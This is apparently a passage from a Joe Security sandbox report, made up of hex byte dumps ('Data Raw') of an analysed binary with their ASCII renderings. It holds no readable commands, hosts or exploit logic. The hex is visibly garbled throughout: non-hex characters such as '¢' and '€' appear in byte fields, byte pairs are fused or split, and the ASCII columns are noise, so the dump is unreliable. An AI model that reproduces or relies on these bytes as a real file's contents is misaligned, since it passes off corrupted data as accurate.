da Oe 5 Oe 1b 5e 58 21 25 ea a9 84 25 25 25 ¢4 a7 25 25 25 66 30 19 Oe a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e
fd 25 25 25 5e be 1a 1b 9¢ 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be €5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25
25 25 a5 07 1a 5¢ 07 da 25 25 25 9¢ be 2b 6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be 5 a5 d6 a5 ea 60 68 25 25 25 a5
07 1a 5¢ 07 da 25 25 25 9¢ bc 2b 8b €6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d
ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b
e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39

Data Ascii: A.{d(d0d I"X%P/d %% ~X1%%6%6%%%%6f01WKP-"%%6%6"E STOOWKF %%6%6P-"%%%\%%6%+f09WkKF h%%6%6\
%6%06+(1d9f0ld1geP-N )f mf0!)g%%"P-Ngf09WKUP-NE9f09

Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d
bd dadada 7c cl e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c
25da 99 f8 7c cl e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31
252525 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 Ob 1c 2
57ccle51c25a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 dada da 7c cl e5 1c 25 75 0d f7 23 da da 60 e5 99
dc 9e 7c¢ 99 Ob 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31
dc 50 4f 75 77 eb €0 89 Ob 1c 25 dc 66 28 2d 64 e8 8d Ob 1c 25 64 6f

Data Ascii: |%uh6f1%%% ~%)|%u8~%he%, 1%%% K"%|%u[d)*al%f)Iu1f1%%% "%|%u#%| %PKfQ%%%f)| You# | %

u# %%"X1POuw%f(-d%do

Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da Oe e5 30 8d 9f 42
65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b al 55 6b Oe da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d
d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb Oe e5 7f 34 34 89 64 35 8d
5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 {7 da da c6 03 af 20
ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 Oe {7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 8
4 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 ¢6 61 84 25 25 25 a5 99 2d 5¢ ef a5 25 25 25 c6 08 5e
ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29

Data Ascii: d !f(f 1f%5e%f 0Be%UdE %fPks Ukf8!f ufug# Pf -d] "*)sP44d5\Be%bh f If(f%5e% fXfP{8f8)%%%%
)+H\%'%%%%%E %% %e % %% e Ea%%%-\%% %" 5% % %e % %%")

Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 cO
389e 30 66 11 Oe e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 Ob 1c 25 Oe e5 7f 34 34 89 64 35 8d b9 91 65 25 9e
¢4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 Ob 1c 25 dc 9e 8d 0b 1c 25 15 da 25 25 8d Ob 1c 25 cc da 25 25 8d Ob 1c 25
17 da 25 25 8d Ob 1c 25 ce da 25 25 8d Ob 1c 25 19 da 25 25 8d Ob 1c 25 dO da 25 25 8d Ob 1c 25 1b da 25 25 8d Ob 1c
25 d2 da 25 25 8d Ob 1c 25 1d da 25 25 8d Ob 1c 25 d4 da 25 25 8d 0b 1c 25 1f da 25 25 8d Ob 1c 25 d6 da 25 25 8d Ob
1c 25 21 da 25 25 8d Ob 1c 25 d8 da 25 25 8d Ob 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d Ob 1c 25 05 da 25 25 8d
0b 1c 25 be da 25 25 8d Ob 1c 25 07 da 25 25 8d 0Ob 1c 25 be da 25 25 8d

Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e %8 % %% %% % % %% %% % %% % %% %% % % % %% %% %% % % %% %
%%%%%!%%%% %%#%% % %% %% % %% %% % %% %%

Data Raw: 25 25 25 25 25 f1 4c¢ 65 25 35 25 25 25 4d 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65
2559 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3¢ 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4¢ 65 25 d9
5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97
4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65
25 35 25 25 25 05 4c¢ 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 bl 59
65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25

Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Yek7 @< >@DIQe%%%%%%%%%%%%%%
9%%%%%% %% %%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%Y Ye%uYe%Ye% $ Ife%%%%%%%%%% %%
9%%%%% %% %% %% %% %% % %e%5%% %L e%[e%[e%[e%[e%[e%Y Ye%uYe%YeY%/ iDgT@Je%%%%% %%

Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e
99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59
59 65 25 7559 65 25 b1 59 65 25 e4 20 le 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65
25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3¢ 97 44 3¢ 93 99 20 97 97 4a 97 66 5 49 9d
65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25

Data Ascii: [e%[e%[e%[e%[e%Y Ye%uYe%Ye%3 .<>F*@JRRe%%%%%%%%% %% % % %% %% %% %
9%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%Y YeYuYe%Ye% JIFRe%%%%%% % %%%%% % %%%%%
%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%Y YeYuYe%Ye% {<D< Jfle%%%%%%%%%%% %%
9%%%%%%%%% %%

Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83
da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2
04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e Oc
e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da
da 75 8f 25 8d 25 29 25 25 0d 87 Ob da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2
da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f Ob da da 5e 0d 27 83 36 9e 2e 7b 6
6 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5

Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n’P {fffufufufu%%)%%"'6 {fffufufufu%)%%O"'6.{ffff 6

Data Raw: 9¢c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d Oa 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d
ab 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e
7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f
3a 8336 9e 2e 7b 32 2¢ 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da
66 29 49 7f 32 83 36 9e 30 66 11 5e €9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1
d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c 9 d9

23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d

Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hil)u2{.'P)If)l:6 {2 fff%hil)u2{."P)If)1:60f"{fff -d f 1d !{h !uf u.td f
0!6448-%u0f\#.fh #ufkuM
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Copyright Joe Security LLC 2022

Data

Data Raw: Oc e5 64 20 21 de 28 35 64 58 1d Oc e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf
6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1
0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25
2564 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 Oc b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac Oc f7 ce c9
62 b4 04 ef 4e 29 dc ac Oc f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac Oc f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da
da 7f 34 66 50 fd c4 22 da da da Oc b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 {3
99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37

Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)"X%/wh
A4fP"a0GaUaRD/%%%QUUf -Z7

Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e
1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21
ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 bl 65 25 de 50 11 94 de 25 25 25 ce c9 c6 0
86850 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11
66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 bl 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65
2524 73 6b 73 1c 73 d1 2d €5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 9 Oc f7 16 28 31
5a f8 5e d4 d8 al 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2

Data Ascii: % %%%%%%%%Pf 1M"X'%%%"77%%%d 1u%%X5'f -uh 8'%%fX! Z%%"NN?d%%%h$e%P%%%hP855)R
1'%hAxe%8f8d 16:%%e%he%he%he%he%$skss-PUsX%((1Z"=Z2?Uc%_

Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd Oc
€576 b6 07 b4 48 1d 76 c6 7b d1 2d 5 99 29 61 45 99 d2 73 9e Oc €5 Oc 7 d1 51 5f 29 2f 4e ea ff €8 al 9c 1c 25 64 20
19 f 20 19 67 c6 0f 73 9e Oc €5 Oc 7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 7 2f dc e7 5¢
1f 19 dc 25 25 97 Of a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 cO 38 9e 30 66 11 5e €9 €5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d
68 20 e5 Oe a4 0d 5 d4 da da 66 ed 68 30 5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e €9 5 2e 66 fd 8f
25 8f 25 8f 25 68 30 2d 68 20 €5 8c dc 0d ¢5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 7 2d 25 b5 2e
7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb Oe a4 0d 9b 23

Data Ascii: 6P'%)Vo6P+)VHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3KFA\Y606P'6:f80f".1%6%6h0-h thOf1681%60f".%69606h0-h fhof6fs-
o (it

Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc
bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38
9e 66 e5 30 66 11 5e €9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75
8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25
3066 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2
d 64 67 19 34 38 9e 66 5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13
66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8

Data Ascii: f 2f0-flf(-h%ff -1#68fOf.ff -ufff468f0f . {fff -u)dP %d8 %h u%h 5%%%fh 46f8he%O0f,f -A1f5d0!'%f57f(-_,f% lef0-
dg48foff -%POf -fe-1-f -hmf -huf -"p#f -e

Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d Oa d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20
19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75
30 6830 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da
34 66 20 19 6d 5e 0d 27 97 29 99 3d ¢6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d
75 ea 92 20 15 66 29 60 d1 Ob 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 Ob 1c 25 0d 35
1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da
da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 7

Data Ascii: %4%%040}4f -uOhOf 4f 4v%%0'404f -uOhOf #!4f P4%%040#4f m™')=Uf -u f04%%f -u f)" %04%%f -u

) %54%%04f mN/m$mHZ04f -u f04

Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 dO da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25
25 25 ea 7e €0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac
66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25
25 25 0d €3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da Oe e5 7f 34 34 89 64 35 8d 0 c7 65
25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e ¢4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75
25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5¢ €9 1d 23 da da 2e 7b 66 ff 66 15
0e €5 64 60 21 23 da da Oe €5 64 60 1d 23 da da 60 b6 99 €6

Data Ascii: f -U%606%%64@F+d F+96%%606~=96NF+k9606d+++]96f+96_ PF -Uf,0f 4F+]06;+7f -uh %%6%64+]%'f -#44d5e%h '
060611 618(U(%60%6%UY6(U(Y6%6%Y6%6%YY60E %Y6060N {ffd Hd #

Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20
11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2
0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25
25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 Oa 0d 55 ca
da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20
17 8b 64 20 11 66 ae af e8 6¢ Ob 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e
2525 25 66 f0 b9 Ob 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76

Data Ascii: fd [fX fdfd ?fX fd fd"X!%30#4fX'RF%f,%%%t4F %%a UfXP7f d fd 5f d f d fl%f>!ff;y%%%%%{%e% v

Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 cO 38 e7 29 25 66 €5 2e 7b 32 2c 66 b4
66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 €5 a3 €0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2¢ 2e
7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 Oe a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd
66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 Oe a4 2c 2¢ 2¢ 2¢ 2¢ 2¢ 2e 7b 32 Oe €5 30 8d 86 88 65 25 89
da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 €3 d5 Ob 1c 25 9a 05 Ob 1c 25 30 8f €6 68 20 19 75 94 b5 9¢ 1c
25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 €5 9¢ 1c 25 66 ae 6f 68
1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da le 5e a2 29

Data Ascii: fffw618)%f.{2, ff hil)u{2)")I':60f, {2d(1fff8-.f 5felfFA%PF If)fX:648-%0f, ..., {20e%UdEd 196%%%%0h u%fohimT
4f0fnOh u%foh]m{4fofFn®)

Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da
75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d Ob 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da
da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 Of d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc
25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 fO d5 4a 65 25 0d 53 a9 da da a9 e5 99
04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 €5 99 37 66 30 21 a5 al 27 da 53 99 2d dd 0d d7 65 25 6
420 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d Ob 1c 25 0d d3 7c da da 75 0d 75 8e da da
68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9

Data Ascii: {\1%5%%PA%%h"uf u"P%%h"u|%ufhd !dPh’3%%fgh #)%%"e%d !e%d ffle%Sf)d !f I'7f0!'S-e%d %%%h
“lu|]%fe)u|%|uuhpfih*d®
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Copyright Joe Security LLC 2022

Data

Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05
7¢ 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd Oe e5 7f 34 34 89 64 35 8d 06 92 65 25
68 20 05 0d 8 64 da da 68 20 21 0d €0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 cO 38 9e 64 f1 64 39 49 66
48 25 ¢4 56 a7 da da 9e 66 €5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 €5 66 e
8 el 3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 €5 5a
f0 99 2e 08 €0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 €0 4c¢ da da 1a 5e 0d 27 97 Oe 99 12 c6 22 18 bb 25
25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 Oa 08 d8

Data Ascii: f Id dP dX %h u'h0|%f(|Re%!f44d5e%h dh 1d61:6f8dd9IfHY6VIOfah(-")0-8)%1T%|Je%#! 1%%%ZQ4
%6%Z.%%00%%%ammOLA"%%ZNn%%Mmm:;

Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f Oe f7 60 €5 99 8b a5 61 5d 25 99 85 60
da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b al 37 af 31 55 5¢ bc da 25
2525 ea 7e 8 3d 9c 1c 25 97 c4 66 aa 06 f3 5¢ be dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d
00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd Oe €5 a5 18 79 c2 1c 25 25
99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 Oe a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 6
6 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25
25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 Oe c8 60 da a3 6b 66 eb

Data Ascii: %%%H\%%%f{2f a]% P9%%%%~=%Nqmfss 71U\%%%~=%N\%%T$"# P)')]|%%%~=%N'f:he%.{ffy%%of
1fo6y%%yffhes {fff f fff%6%%6f {20ff kf

Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da Oe 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af
20 da 00 da 25 25 25 ea 86 €0 3d 9c 1c 25 23 20 da 23 a6 50 Of 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a
833634 389e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5¢c €9 89 23 da da 2e
7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 ¢2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5
99 e0 7e 6d c2 1c 25 8b 60 e5 99 6 66 f5 8b 5¢c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3
61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb
€030 c2 1c 25 25eb el 79 c2 1c 25 25 ¢4 9a 25 25 25 30 0d 15

Data Ascii: |[m%ui+O? %%%=%# #P " #1X/i+/iP:648|q%"R~5%he%0f\#.{2m%)%%q%%%%u%%%%H ~m% f\dq
%6/~u%ae%=%-%%%"%" %% %H0%%Yy%%%% %0

Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e €9 11 2e Oe e5 64 20 11 Oe €5 30 8d 91 a2 65 25 89 da 55 89 64 45
0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68
20 15 75 8f dc 66 €8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 5 1c 25 d7 dc 7c 15 9d 65 25
0d 4b c8 da da 66 f5 64 7f 31 66 €7 0d 8b 97 da da Oe e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e ¢
4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 €0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b
66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d
7c cl dada 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61

Data Ascii: %Y%f0f*.d 0e%UdE xf'd8 %h0ff d !h uf%|e%fofE%|e%Kfd1f44d5Ne%h 6f8.f P}6.{,9%f;fd+f+{%d-
%%%f+_"%P6.e%|f 5'e%.~a

